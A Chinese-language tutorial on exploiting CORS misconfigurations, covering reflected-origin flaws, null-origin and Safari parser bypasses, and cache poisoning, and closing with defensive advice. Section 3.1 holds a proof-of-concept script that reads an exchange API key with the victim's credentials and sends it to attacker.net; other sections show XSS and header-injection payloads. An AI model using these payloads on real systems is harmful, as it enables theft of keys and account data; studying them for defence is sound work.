利用CORS配置错误获取比特币和漏洞赏金 - 深入教学文档

1. CORS基础概念

1.1 什么是CORS？

跨域资源共享(CORS)是一种技术，允许网站放宽浏览器的同源策略(Same-Origin Policy)，实现不同源之间的跨域通信。现代Web应用中广泛使用CORS，特别是在Web API中。

1.2 CORS工作机制

服务器通过发送特定的HTTP响应头来启用CORS：

Access-Control-Allow-Origin: https://example.com

这表示允许指定的源(域)通过用户浏览器向服务器发送跨域请求并读取响应。

默认情况下，这些请求不会携带用户凭证(cookie等)，但可以通过以下头部启用凭证传输：

Access-Control-Allow-Credentials: true

2. CORS常见错误配置

2.1 通配符(*)使用不当

错误配置示例：

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

问题：规范明确禁止在启用凭证时使用通配符，浏览器会报错：

Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.

2.2 动态生成Allow-Origin头部

许多服务器根据请求中的Origin头部动态生成响应头，这是最常见的CORS漏洞来源。

漏洞示例：

GET /api/requestApiKey HTTP/1.1
Host: vulnerable.com
Origin: https://attacker.com
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

{"privateKey": "..."}

2.3 子域通配问题

尝试使用类似*.example.com的格式无效，因为规范不支持这种部分通配符。

2.4 多源列表问题

规范建议使用空格分隔多个源，但实际上没有浏览器支持这种格式：

Access-Control-Allow-Origin: http://foo.com http://bar.net

3. 实际攻击案例

3.1 比特币交易所API密钥窃取

攻击流程：

1. 发现API端点不验证Origin头部
2. 构造恶意页面发起跨域请求
3. 窃取包含敏感数据的响应

PoC代码：

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText;
};

3.2 源验证缺陷

案例1：信任以特定字符串结尾的域名

• advisor.com信任definitelynotadvisor.com

案例2：信任以特定字符串开头的URL

• https://btc.net信任https://btc.net.evil.net

3.3 null源攻击

漏洞场景：

GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null

HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

利用方法：

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" 
        src='data:text/html,<script>/*攻击代码*/</script>'></iframe>

3.4 解析器绕过(Safari特定)

利用Safari对非常规字符的容忍度：

http://example.com%60.hackxor.net/

请求中的Origin头部会包含：

Origin: http://example.com`.hackxor.net/

如果服务器解析不正确，可能错误地信任example.com。

4. HTTPS相关问题

4.1 协议不匹配

允许HTTP源访问HTTPS资源会导致安全风险，可能绕过HSTS和secure cookie的保护。

4.2 子域信任过度

将所有子域列入白名单，包括不存在的子域，可能导致第三方托管的应用成为攻击入口。

5. 无凭证情况下的CORS滥用

当不需要凭证时，CORS仍可用于：

• 绕过基于IP的身份验证
• 访问内网应用（类似DNS重绑定攻击）

6. Vary: Origin相关问题

6.1 客户端缓存污染

攻击场景：

1. 存在反射型XSS漏洞的自定义头部
2. 未正确设置Vary: Origin
3. 响应被缓存并在后续请求中返回

示例：

GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert(1)>

6.2 服务端缓存污染(IE/Edge特定)

利用IE/Edge将\r\n视为头部终止符的特性：

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`

IE会解释为：

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

可导致UTF-7 XSS攻击。

7. 防御建议

1. 严格验证Origin：使用严格的白名单机制，避免动态生成Allow-Origin头部
2. 避免通配符：特别是与Allow-Credentials一起使用时
3. 设置Vary: Origin：防止缓存污染攻击
4. 协议一致性：确保只允许HTTPS源访问HTTPS资源
5. 谨慎处理null源：避免将null列入白名单
6. 输入验证：严格验证Origin头部的格式和内容

8. 总结

CORS配置错误可能导致严重的安全问题，包括：

• 敏感数据泄露
• 用户凭证窃取
• 缓存污染攻击
• XSS漏洞利用

开发人员应深入理解CORS规范，避免常见的实现错误。安全研究人员在测试时应特别关注动态生成的CORS头部和凭证相关的配置。